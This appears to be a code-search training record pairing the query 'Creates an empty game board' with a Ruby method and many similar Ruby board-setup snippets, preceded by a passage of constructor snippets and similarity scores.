"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n self.name = name\n end",
"def initialize(name = '')\n self.name = name\n end",
"def initialize(name = \"Don\")\n @name = name\n end",
"def initialize(name)\n \t\t@name = name\n \tend",
"def initialize(name = nil)\n\t\t@name = name\n\tend",
"def initialize(name = nil)\n\t\t@name = name\n\tend",
"def initialize(name) # This initializes our class by using the name variable.\n @name = name\n end",
"def initialize(name) # this is a constructor because it gets called whenever we create a new object.\n @name = name\n end",
"def initialize(name)\n self.name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(word)\n @name = word\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name=\"anyonone\")\n #a call to the name method\n self.name = name #without self, you are assigning a variable\n end",
"def initialize(name)\r\n@name = name\r\nend",
"def initialize(word) # initialize with the arguement word\n @name = word # set the name = to the word that is paaed\n end",
"def initialize name\n @name = name\n end",
"def initialize(name, specialty)\n @name = name\n @specialty = specialty\n @@all << self\n end",
"def initialize (name)\n @name = name\nend",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n @name = name\n end",
"def initialize(name)\n \n @name = name\n end",
"def initialize name\n @name = name\nend",
"def initialize( name, typus)\n\t\t@name, @typus = name, typus\n\tend",
"def initialize(name)\n\t\t# 5. Create name instance variable\n\t\t@name = name\n\t\t# 6. Create mood instance variable\n\t\t@mood = \"nervous\"\n\tend",
"def initialize(nameIn)\n @name = nameIn\n end",
"def initialize(nameIn)\n @name = nameIn\n end",
"def initialize(name) # used to set some defaults\n @name = name # @ instance variables\n end",
"def initialize(name)\n @name = name #variable class diawali @, akan dibuat ketika object dibuat\n end",
"def initialize(name)\n\t\t@nombre = name\n\tend",
"def initialize(name = nil)\n \tend",
"def initialize(name) ## when new instance is called, the instance is passed with the name and given an empty roster hash \n @name = name\n @roster = {}\n end"
] | [
"0.7044764",
"0.6979418",
"0.69344527",
"0.6932258",
"0.6920211",
"0.68764716",
"0.6870951",
"0.68554497",
"0.68507606",
"0.6843796",
"0.68380755",
"0.68380755",
"0.68380755",
"0.68380755",
"0.68380755",
"0.68380755",
"0.6834758",
"0.6808607",
"0.68035084",
"0.67945796",
"0.6793185",
"0.67919284",
"0.6780179",
"0.67770094",
"0.67770094",
"0.67697453",
"0.6769075",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6760957",
"0.6758611",
"0.67546856",
"0.6753098",
"0.6750082",
"0.67379785",
"0.67379785",
"0.67308503",
"0.6716098",
"0.669704",
"0.66944295",
"0.66944295",
"0.66944295",
"0.66944295",
"0.66944295",
"0.6691151",
"0.66908675",
"0.66855127",
"0.6685313",
"0.66652054",
"0.6655495",
"0.6653726",
"0.6647744",
"0.6639189",
"0.6634373",
"0.66337615",
"0.66337615",
"0.66337615",
"0.66337615",
"0.66337615",
"0.66337615",
"0.66337615",
"0.66337615",
"0.66337615",
"0.66337615",
"0.6628495",
"0.662708",
"0.66216624",
"0.66059804",
"0.66028327",
"0.66028327",
"0.6598084",
"0.6597981",
"0.6579088",
"0.65741634",
"0.655202"
] | 0.0 | -1 |
Creates an empty game board | def create
(0..7).each do |row|
@board << []
(0..7).each do |col|
@board[row] << "[ ]"
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def make_board\n make_blank_board\n populate_board\n end",
"def create_board\n\t\t8.times{|x| @board.push([nil,nil,nil,nil,nil,nil,nil,nil])}\n\t\tpopulate_board\n\tend",
"def create_board\n (1..(@width * @width).to_i).each do |i|\n values = i <= @amount_mines ? @bomb : @empty\n @board.push({\n value: values,\n revealed?: false\n })\n end\n @board.shuffle!\n @board\n end",
"def newBoard\n\t\t\t[['r', 'n', 'b', 'k', 'q', 'b', 'n', 'r'],\n\t\t\t ['p', 'p', 'p', 'p', 'p', 'p', 'p', 'p'],\n\t\t\t ['', '', '', '', '', '', '', ''],\n\t\t\t ['', '', '', '', '', '', '', ''],\n\t\t\t ['', '', '', '', '', '', '', ''],\n\t\t\t ['', '', '', '', '', '', '', ''],\n\t\t\t ['P', 'P', 'P', 'P', 'P', 'P', 'P', 'P'],\n\t\t\t ['R', 'N', 'B', 'K', 'Q', 'B', 'N', 'R']]\n\tend",
"def create_board\n\t\t@board = Hash.new\n\t\t(0..7).each do |x|\n\t\t\t@board[x] = []\n\t\t\t(0..7).each do |y|\n\t\t\t\t@board[x][y] = Square.new([x, y])\n\t\t\tend\n\t\tend\n\tend",
"def initializeBoard()\n\t\tfor i in (0...@board.length)\n\t\t\tfor j in (0...@board.length)\n\t\t\t\t@board[i][j] = EMPTY\n\t\t\tend\n\t\tend\n\n\t\t@board[@size/2][@size/2] = BLACK\n\t\t@board[@size/2 - 1][@size/2 - 1] = BLACK\n\t\t@board[@size/2 - 1][@size/2] = WHITE\n\t\t@board[@size/2][@size/2 - 1] = WHITE\n\n end",
"def create_board\n cols = Array.new(7) { Array.new(6, 0) }\n cols\n end",
"def new_board\n board = []\n 8.times do |row|\n board << case row\n when 0\n add_back_row(\"white\", row)\n when 1\n add_pawn_row(\"white\", row)\n when 6\n add_pawn_row(\"black\", row)\n when 7\n add_back_row(\"black\", row)\n else\n Array.new(8)\n end\n end \n board\n end",
"def create_board\n\n 8.times do |row|\n 8.times do |col|\n new_cell = Cell.new([col + 1, row + 1])\n @@cells.push(new_cell)\n end\n end\n\n end",
"def new_board()\n\t\t@default_box = \" - \"\n\t\tblank_board = Hash.new\n\t\ti = 1\n\t\twhile i < 10\n\t\t\tblank_board[i] = @default_box\n\t\t\ti += 1\n\t\tend\n\t\treturn blank_board\n\tend",
"def blank_board\n\t\tblank_board = []\n\t\tMastermind::MAX_GUESSES.times do\n\t\t\tblank_board << get_blank_row\n\t\tend\n\t\tblank_board\n\tend",
"def generate_board\n [0, 1, 2].each do |row|\n 0.upto(7) do |col|\n offset = row + col\n self[[row, col]] = Piece.new([row, col], self, :B) if offset.odd?\n end\n end\n\n [5, 6, 7].each do |row|\n 0.upto(7) do |col|\n offset = row + col\n self[[row, col]] = Piece.new([row, col], self, :W) if offset.odd?\n end\n end\n end",
"def create_board\n temp_index = 0\n temp_column1 = Array.new(4) { 'O' }\n temp_column2 = Array.new(4) { 'O' }\n @board = []\n 10.times do\n @board << [temp_column1, temp_column2, \"Turn:#{temp_index += 1}\"]\n end\n @board\n end",
"def create_board\n b = Hash.new\n for i in 1..7\n for j in 1..6\n b[[i,j]] = @empty_sign\n end\n end\n return b\n end",
"def setup_board!\n\t\t@board = Array.new($dimensions[:y]){ Array.new($dimensions[:x]) {:empty} }\n\tend",
"def generateBoard()\n board = []\n\n (1..@board.rows).each do |r|\n row = []\n (1..@board.cols).each { |c| row.push('X') }\n board.push(row)\n end\n\n board\n end",
"def make_board\n @grid = Array.new(9) { | row | Array.new(9) { | col | Tile.new(self, [row, col]) } }\n self.place_bombs\n @grid.map.with_index do | row, rowIndx |\n row.map.with_index { | tile, colIndx | tile.neighbors_bomb_count if !(self.is_a_bomb?([rowIndx, colIndx])) }\n end\n end",
"def initialize\n create_board\n end",
"def create_board\n @board[\"18\"] = Rook.new(\"Blacks\")\n @board[\"28\"] = Knight.new(\"Blacks\")\n @board[\"38\"] = Bishop.new(\"Blacks\")\n @board[\"48\"] = Queen.new(\"Blacks\")\n @board[\"58\"] = King.new(\"Blacks\")\n @board[\"68\"] = Bishop.new(\"Blacks\")\n @board[\"78\"] = Knight.new(\"Blacks\")\n @board[\"88\"] = Rook.new(\"Blacks\") \n 8.times { |index| @board[\"#{index + 1}7\"] = BlackPawn.new(\"Blacks\") } \n\n 8.times { |index| @board[\"#{index + 1}6\"] = nil }\n 8.times { |index| @board[\"#{index + 1}5\"] = nil }\n 8.times { |index| @board[\"#{index + 1}4\"] = nil }\n 8.times { |index| @board[\"#{index + 1}3\"] = nil }\n\n 8.times { |index| @board[\"#{index + 1}2\"] = WhitePawn.new(\"Whites\") } \n @board[\"11\"] = Rook.new(\"Whites\") \n @board[\"21\"] = Knight.new(\"Whites\")\n @board[\"31\"] = Bishop.new(\"Whites\")\n @board[\"41\"] = Queen.new(\"Whites\")\n @board[\"51\"] = King.new(\"Whites\")\n @board[\"61\"] = Bishop.new(\"Whites\")\n @board[\"71\"] = Knight.new(\"Whites\")\n @board[\"81\"] = Rook.new(\"Whites\")\n end",
"def generate_empty_board\n puts \" 1 2 3\"\n puts \" A #{a1 = ' '} | #{a2 = ' ' } | #{a3 = ' '} \"\n puts separator = \" \"*4 + \"─\"*11\n puts \" B #{b1 = ' '} | #{b2 = ' '} | #{b3 = ' '} \"\n puts separator\n puts \" C #{c1 = ' '} | #{c2 = ' '} | #{c3 = ' '} \"\n end",
"def initialize\n @board = (0...8).map { [nil] * 8 }\n populate_board\n\n\tend",
"def populate_board\n\t\t8.times{|x|\t@board[x][6] = Pawn.new([x, 6], \"black\", @board)}\n\t\t@board[0][7] = Rook.new([0, 7], \"black\", @board)\t\n\t\t@board[1][7] = Knight.new([1, 7], \"black\", @board)\n\t\t@board[2][7] = Bishop.new([2, 7], \"black\", @board)\n\t\t@board[3][7] = Queen.new([3, 7], \"black\", @board)\n\t\t@board[4][7] = King.new([4, 7], \"black\", @board)\t\t\n\t\t@board[5][7] = Bishop.new([5, 7], \"black\", @board)\n\t\t@board[6][7] = Knight.new([6, 7], \"black\", @board)\n\t\t@board[7][7] = Rook.new([7, 7], \"black\", @board)\n\t\t\t\t\n\t\t 8.times{|x|\t@board[x][1] = Pawn.new([x, 1], \"white\", @board)}\n\t\t@board[0][0] = Rook.new([0, 0], \"white\", @board)\t\n\t\t@board[1][0] = Knight.new([1, 0], \"white\", @board)\n\t\t@board[2][0] = Bishop.new([2, 0], \"white\", @board)\n\t\t@board[3][0] = Queen.new([3, 0], \"white\", @board)\n\t\t@board[4][0] = King.new([4, 0], \"white\", @board)\t\t\n\t\t@board[5][0] = Bishop.new([5, 0], \"white\", @board)\n\t\t@board[6][0] = Knight.new([6, 0], \"white\", @board)\n\t\t@board[7][0] = Rook.new([7, 0], \"white\", @board)\n\tend",
"def initialize\n @grid = empty_board\n end",
"def fill_board\n\t\tfill_row_pieces(0, 'b')\n\t\tfill_row_pawn(1, 'b')\n\t\tfill_row_pieces(7, 'w')\n\t\tfill_row_pawn(6, 'w')\n\tend",
"def initialize\n self.make_board\n end",
"def initialize\n\t\t\t@empty_cell = '_'\n\t\t\t@board = Array.new(3) {Array.new(3,@empty_cell)}\n\t\tend",
"def start_game\n Board.new 10, 10\n end",
"def empty_board\n { 1 => \" \", 2 => \" \", 3 => \" \", 4 => \" \", 5 => \" \", 6 => \" \", 7 => \" \", 8 => \" \", 9 => \" \"}\nend",
"def initialize(empty = false)\n @white_points = []\n @black_points = []\n return if empty\n\n @board = []\n 8.times do\n col = []\n 8.times do\n col << SPOT_OPEN\n end\n @board << col\n end\n\n # Add the starting pieces\n mark(3, 3, SPOT_WHITE)\n mark(4, 3, SPOT_BLACK)\n mark(4, 4, SPOT_WHITE)\n mark(3, 4, SPOT_BLACK)\n end",
"def populate_board\n back_row = [Rook, Knight, Bishop, Queen, King, Bishop, Knight, Rook]\n\n black_back_row = []\n back_row.each_with_index do |piece_class, j|\n black_back_row << piece_class.new(self, :black, [0, j])\n end\n board[0] = black_back_row\n \n black_front_row = []\n (0..7).each {|idx| black_front_row << Pawn.new(self, :black, [1, idx])}\n board[1] = black_front_row\n \n (2..5).each do |row|\n board[row] = Array.new(8) {NullPiece.instance} \n end\n \n white_front_row = []\n 8.times {|idx| white_front_row << Pawn.new(self, :white, [6, idx])}\n board[6] = white_front_row\n \n white_back_row = []\n back_row.each_with_index do |piece_class, j|\n white_back_row << piece_class.new(self, :white, [7, j])\n end\n board[7] = white_back_row\n end",
"def initialize \n @rows = 8\n @columns = 8\n @grid = create_board\n end",
"def board()\n# para crear la tabla vacia / for dentro de un for que me imprimna cada [] vacia \nboard=[]\n\tfor i in (0..5) \n\t\tboard[i] = []\n\t\tfor j in (0..5) \n\t\t\tboard[i][j] = \" [ ] \"\n\t\tend\n\tend \t\n\tboard #retorno\nend",
"def populate_board(board)\n #Fills in the top and bottom rows\n [0, 7].each do |row|\n 4.times do |col|\n board[row][col] = create_piece(row, col)\n board[row][(7-col)] = create_piece(row, (7-col))\n end\n end\n\n #Fills in the pawns\n 8.times do |col|\n board[1][col] = BlackPawn.new(1, col)\n board[6][col] = WhitePawn.new(6, col)\n end\n\n board\n end",
"def initialize()\n grid = BOARD_NUMBERS.map{ |x| BOARD_ALPHABET.map{ |y| y + x}}.flatten\n @board = Hash[grid.collect { |k| [k, EMPTY]} ]\n end",
"def initialize_board\n board = Array.new(8) {Array.new(8)}\n populate_board(board)\n end",
"def newgame( dim_y=3, dim_x=3 )\n return nil if dim_y != 3 or dim_x != 3\n @board = Board.new\n return true\n end",
"def create_empty_board(position)\n 9.times { |i| position[i] = \" \"}\nend",
"def init_board(size=5, handicap=0)\n @game = GameLogic.new\n @game.new_game(size, handicap)\n @goban = @game.goban\n @grid = Grid.new(size)\n @filler = ZoneFiller.new(@goban, @grid)\n end",
"def initialize()\n @board = {}\n colors = [Square::BLACK, Square::WHITE]\n \n (1..8).each do |row|\n (1..8).each do |col|\n sq = Square.new(colors[0])\n\n # Place starting pieces on board\n if (1..3).include?(row) && sq.color == Square::BLACK\n sq.checker_piece = Piece.new(Piece::BLACK)\n elsif (6..8).include?(row) && sq.color == Square::BLACK\n sq.checker_piece = Piece.new(Piece::RED)\n end\n \n @board[[row,col]] = sq\n \n colors << colors.delete_at(0) unless col == 8\n end\n end\n end",
"def dup_board\n new_board = Board.new(false)\n self.grid.each_with_index do |row, i|\n row.each_with_index do |object, j|\n pos = [i, j]\n if object.nil?\n new_board[pos] = nil\n else\n new_board[pos] = Piece.new(object.color, pos, new_board)\n end\n end\n end\n\n new_board\n end",
"def new_board\n @board = {'a1'=>' ','a2'=>' ','a3'=>' ','b1'=>' ','b2'=>' ','b3'=>' ','c1'=>' ','c2'=>' ','c3'=>' '}\n end",
"def initializeBoard()\n #\n # TO DO: complete this method\n #\n for j in 0...@size\n for i in 0...@size\n @board[j][i]=EMPTY\n end\n end\n center = (@size/2)-1\n @board[center][center] = BLACK\n @board[center+1][center+1] = BLACK\n @board[center+1][center] = WHITE\n @board[center][center+1] = WHITE\n\n\n\n\n end",
"def initialize(fill_board = true)\n @sentinel = Null_piece.instance\n\n @rows = Array.new(8) { Array.new(8, @sentinel) }\n\n fill_board_tiles if fill_board\n end",
"def starting_board\n init_rows([0, 2], :black)\n init_rows([5, 7], :red)\n end",
"def initialize_board\n # Building out white pieces\n (0..7).each do |x|\n Pawn.create(is_black: false, x_position: x, y_position: 1, game_id: id, user_id: user_id_white, status: 'active')\n end\n\n Rook.create(is_black: false, x_position: 0, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n Rook.create(is_black: false, x_position: 7, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n\n Knight.create(is_black: false, x_position: 1, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n Knight.create(is_black: false, x_position: 6, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n\n Bishop.create(is_black: false, x_position: 2, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n Bishop.create(is_black: false, x_position: 5, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n\n King.create(is_black: false, x_position: 4, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n Queen.create(is_black: false, x_position: 3, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n\n # Building out the black pieces\n (0..7).each do |x|\n Pawn.create(is_black: true, x_position: x, y_position: 6, game_id: id, user_id: user_id_black, status: 'active')\n end\n\n Rook.create(is_black: true, x_position: 0, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n Rook.create(is_black: true, x_position: 7, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n\n Knight.create(is_black: true, x_position: 1, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n Knight.create(is_black: true, x_position: 6, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n\n Bishop.create(is_black: true, x_position: 2, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n Bishop.create(is_black: true, x_position: 5, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n\n King.create(is_black: true, x_position: 4, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n Queen.create(is_black: true, x_position: 3, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n end",
"def blank_board\n 0b111111100000100000100000100000100000100000100000100000100000100000\nend",
"def populate_board\n rows_of_pieces = (size - 2) / 2\n make_pieces([0, 1], 'red', rows_of_pieces, 1)\n make_pieces([size - 1, 0], 'black', rows_of_pieces, -1)\n end",
"def create_board(x)\r\n @board = Array.new\r\n x.times do\r\n @board.push(\"_\")\r\n end\r\n end",
"def clear_game_board\r\n \r\n #Assign a blank space to each game board square \r\n $A1 = \" \"\r\n $A2 = \" \"\r\n $A3 = \" \"\r\n $B1 = \" \"\r\n $B2 = \" \"\r\n $B3 = \" \"\r\n $C1 = \" \"\r\n $C2 = \" \"\r\n $C3 = \" \"\r\n \r\n end",
"def generate_board\n board_array = @board_string.split(\"\")\n @board = Array.new(9){board_array.shift(9)}\n for row in 0...@board.length\n for col in 0...@board.length\n @board[row][col] = Square.new(@board[row][col], row, col)\n end\n end\n create_starting_numbers\n @board\n end",
"def empty_board_cells\n empty_board = []\n board.board_hash.each_pair do |key, value|\n if value.empty?\n empty_board << key\n end\n end\n empty_board\n end",
"def dupe_board\n temp_board = Board.new(false)\n\n @grid.each.with_index do |row, y|\n row.each.with_index do |piece, x|\n if piece.class == EmptyPiece\n temp_board.grid[y][x] = EmptyPiece.new\n else\n temp_board.grid[y][x] = piece.class.new(piece.color, [y, x], temp_board.grid)\n end\n end\n end\n\n temp_board\n end",
"def create_game_board\n\t\tnew_board = {}\n\t\ti = 1\n\t\t6.times do \n\t\t\tj = 1\n\t\t\t7.times do\n\t\t\t\tcurrent_key = \"#{j}-#{i}\"\n\t\t\t\tnew_board[current_key] = ConnectFourLocation.new\n\t\t\t\tj += 1\n\t\t\tend\n\t\t\ti += 1\n\t\tend\n\t\treturn new_board\n\tend",
"def create_board(size)\n return (0...size).map{|b| (0...size).map{|bb| 0}}\n end",
"def board_creator()\n board = []\n 10.times do |x|\n board << Array.new\n 10.times do |y|\n board[x] << \"sea #{x} #{y}\"\n end\n end\n return board\nend",
"def initialize_board\n # Non-pawns for black player:\n Rook.create(x_position: 1, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Knight.create(x_position: 2, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Bishop.create(x_position: 3, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Queen.create(x_position: 4, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n King.create(x_position: 5, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Bishop.create(x_position: 6, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Knight.create(x_position: 7, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Rook.create(x_position: 8, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n\n # Non-pawns for white player:\n Rook.create(x_position: 1, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Knight.create(x_position: 2, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Bishop.create(x_position: 3, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Queen.create(x_position: 4, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n King.create(x_position: 5, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Bishop.create(x_position: 6, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Knight.create(x_position: 7, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Rook.create(x_position: 8, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n\n # Pawns for both players:\n for i in 1..8\n Pawn.create(color: \"black\", x_position: i, y_position: 2, game_id: id, player_id: black_player_id)\n Pawn.create(color: \"white\", x_position: i, y_position: 7, game_id: id, player_id: white_player_id)\n end\n\n self.counter = 0\n # Saves the counter to the database.\n self.save\n end",
"def initialize_board\r\n board = {}\r\n (1..9).each {|position| board[position] = ' '}\r\n board\r\nend",
"def initialize()\n @board = {}\n colors = [Square::BLACK, Square::WHITE]\n\n (1..8).each do |row|\n (1..8).each do |col|\n\n # Place starting pieces on board\n if (1..3).include?(row) && Square.new(colors[0]).color == Square::BLACK\n Square.new(colors[0]).checker_piece = Piece.new(Piece::BLACK)\n elsif (6..8).include?(row) && Square.new(colors[0]).color == Square::BLACK\n Square.new(colors[0]).checker_piece = Piece.new(Piece::RED)\n end\n\n @board[[row,col]] = Square.new(colors[0])\n\n colors << colors.delete_at(0) unless col == 8\n end\n end\n end",
"def populate_board\n black = \"black\"\n white = \"white\"\n\n white_pawns = [\"A2\", \"B2\", \"C2\", \"D2\", \"E2\", \"F2\", \"G2\", \"H2\"]\n black_pawns = [\"A7\", \"B7\", \"C7\", \"D7\", \"E7\", \"F7\", \"G7\", \"H7\"]\n\n # create white pawns\n white_pawns.each do |pos|\n @board.nodes[pos].piece = create_pawn(white, pos)\n end\n\n # create white pieces\n @board.nodes[\"E1\"].piece = create_king(white, \"E1\")\n @board.nodes[\"D1\"].piece = create_queen(white, \"D1\")\n @board.nodes[\"C1\"].piece = create_bishop(white, \"C1\")\n @board.nodes[\"F1\"].piece = create_bishop(white, \"F1\")\n @board.nodes[\"B1\"].piece = create_knight(white, \"B1\")\n @board.nodes[\"G1\"].piece = create_knight(white, \"G1\")\n @board.nodes[\"A1\"].piece = create_rook(white, \"A1\")\n @board.nodes[\"H1\"].piece = create_rook(white, \"H1\")\n\n # create black pawns\n black_pawns.each do |pos|\n @board.nodes[pos].piece = create_pawn(black, pos)\n end\n\n # create black pieces\n @board.nodes[\"E8\"].piece = create_king(black, \"E8\")\n @board.nodes[\"D8\"].piece = create_queen(black, \"D8\")\n @board.nodes[\"C8\"].piece = create_bishop(black, \"C8\")\n @board.nodes[\"F8\"].piece = create_bishop(black, \"F8\")\n @board.nodes[\"B8\"].piece = create_knight(black, \"B8\")\n @board.nodes[\"G8\"].piece = create_knight(black, \"G8\")\n @board.nodes[\"A8\"].piece = create_rook(black, \"A8\")\n @board.nodes[\"H8\"].piece = create_rook(black, \"H8\")\n\n end",
"def initialize_board\n init_board = \"-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1\"\n if self.update(board: init_board)\n return [[ 0,-1,0,-1,0,-1, 0,-1 ],[-1,0,-1,0,-1,0,-1,0],[0,-1,0,-1,0,-1,0,-1],\n [0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],\n [1,0,1,0,1,0,1,0],[0,1,0,1,0,1,0,1],[1,0,1,0,1,0,1,0]]\n end\n end",
"def fill_board\n MAXY.times do |t|\n @board << Array.new(MAXX, 0) if @board[t].nil?\n end\n\n @board.map! do |row|\n row << [0] * (MAXX - row.size)\n row.flatten\n end\n end",
"def init_board\n @board = Board.new\n @board.display_board\n end",
"def reset\n\t\t@board = Array.new(3) {Array.new(3,\" \")}\n\tend",
"def new\n @board = Board.new\n end",
"def initialize\n super\n self.board = Array.new(3).map{[nil, nil, nil]}\n end",
"def initialize\n @board=Array.new(9) {Array.new(9, false)}\n self.populate_mines\n self.fill_up_board_with_tiles\n @game_over = false\n end",
"def board \n\t\t@board = {\n\t\t \"a1\"=>'',\"a2\"=>'',\"a3\"=>'',\n\t\t \"b1\"=>'',\"b2\"=>'',\"b3\"=>'',\n\t\t \"c1\"=>'',\"c2\"=>'',\"c3\"=>''\n\t\t}\n\tend",
"def populate_board!\n # white pieces\n # creates the 8 pawn pieces across the board\n 8.times do |i|\n # sets game_id in Piece model to current id in Game\n # color is boolean - true for white, false for black\n Pawn.create(game_id: id, x_coord: i, y_coord: 1, color: true, captured: false)\n end\n # creates the 2 rook, knight, and bishop pieces on opposite sides of the board\n (0..7).step(7) do |i|\n Rook.create(game_id: id, x_coord: i, y_coord: 0, color: true, captured: false)\n end\n (1..7).step(5) do |i|\n Knight.create(game_id: id, x_coord: i, y_coord: 0, color: true, captured: false)\n end\n (2..7).step(3) do |i|\n Bishop.create(game_id: id, x_coord: i, y_coord: 0, color: true, captured: false)\n end\n\n Queen.create(game_id: id, x_coord: 3, y_coord: 0, color: true, captured: false)\n King.create(game_id: id, x_coord: 4, y_coord: 0, color: true, captured: false)\n\n # black pieces\n 8.times do |i|\n Pawn.create(game_id: id, x_coord: i, y_coord: 6, color: false, captured: false)\n end\n (0..7).step(7) do |i|\n Rook.create(game_id: id, x_coord: i, y_coord: 7, color: false, captured: false)\n end\n (1..7).step(5) do |i|\n Knight.create(game_id: id, x_coord: i, y_coord: 7, color: false, captured: false)\n end\n (2..7).step(3) do |i|\n Bishop.create(game_id: id, x_coord: i, y_coord: 7, color: false, captured: false)\n end\n Queen.create(game_id: id, x_coord: 3, y_coord: 7, color: false, captured: false)\n King.create(game_id: id, x_coord: 4, y_coord: 7, color: false, captured: false)\n end",
"def setup_board\n @startup = true\n @board = @board.map{|col| col.map{|piece| Piece.new if piece.nil?}}\n clear_matches\n @startup = false\n @pieces_removed = 0\n end",
"def setup_board\n gameboard.build_board\n build_white_side\n build_black_side\n end",
"def initialize(fill_board = true)\n @grid = Array.new(8) { Array.new(8) }\n\n setup_grid if fill_board\n end",
"def make_game(board=nil)\n\n # create a game and connect it to two DummyPlayerInterfaces\n g = Game.new(DummyPlayerInterface.new, DummyPlayerInterface.new)\n\n # initialize the game's board to the given state\n board ||= boards[:empty]\n (0..2).each do |y|\n (0..2).each do |x|\n g.set_cell(x, y, board[y][x]) if board[y][x] =~ /[XO]/\n end\n end\n\n # keep the tests tidy by suppressing output to the terminal\n g.send_output_to_terminal = false\n\n return g\nend",
"def initialize_board\n b = {}\n (1..9).each {|position| b[position] = ' '}\n b\nend",
"def initialize_board\n b = {}\n (1..9).each {|position| b[position] = ' '}\n b\nend",
"def make_board\n board = Array.new(8) { Array.new(8) { Array.new(2) } }\n board.each_with_index do |row, row_i|\n row.each_with_index { |column, column_i| column[0], column[1] = row_i, column_i }\n end\n end",
"def zero_out_board\n @p.each { |k, v| @p[k] = ' '}\n draw_board(true)\n end",
"def initialize ()\n\t\t@board = [\t\" . \", \" . \", \" . \", \" . \", \" . \", \" . \", \" . \", \" . \",\n\t\t\n\t\t\t\t\t\" . \", \" . \", \" . \", \" . \", \" . \", \" . \" ,\" . \", \" . \",\n\t\t\t\t\t\n\t\t\t\t\t\" . \", \" . \", \" . \", \" . \", \" . \", \" . \", \" . \", \" . \",\n\t\t\t\t\t\n\t\t\t\t\t\" . \", \" . \", \" . \", \" X \", \" O \", \" . \", \" . \", \" . \",\n\t\t\t\t\t\n\t\t\t\t\t\" . \", \" . \", \" . \", \" O \", \" X \", \" . \", \" . \", \" . \",\n\t\t\t\t\t\n\t\t\t\t\t\" . \", \" . \", \" . \", \" . \", \" . \", \" . \", \" . \", \" . \",\n\t\t\t\t\t\n\t\t\t\t\t\" . \", \" . \", \" . \", \" . \", \" . \", \" . \", \" . \", \" . \",\n\t\t\t\t\t\n\t\t\t\t\t\" . \", \" . \", \" . \", \" . \", \" . \", \" . \", \" . \", \" . \"]\n\t\t@board_arr\t\t= Array(0..@board.length-1)\n\t\t@board_height\t= 8\n\t\t@board_width \t= 8\n\tend",
"def drawBoard() \n #1. prepare the default board\n @height.times do |y|\n @width.times do |x|\n print EMPTY_MARKER\n end\n puts\n end\t\n @squares = []\n @width.times do |x|\n column = []\n @height.times do |y|\n column << EMPTY_MARKER\n end\n @squares << column\n end\t\n # 2. fill the mine marker\n @mines.each do |mine|\n x,y = mine\n @squares[x][y] = MINE_MARKER\n end\t\t\n #puts @squares;\n\n end",
"def initialize\n @board = Array.new(3) { Array.new(3) }\n end",
"def initialize\n @board = Array.new(3) { Array.new(3) }\n end",
"def clear_board\n @board_spaces = ((1..9).to_a).product([\" \"]).to_h\n end",
"def display_blank_board() \n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\nend",
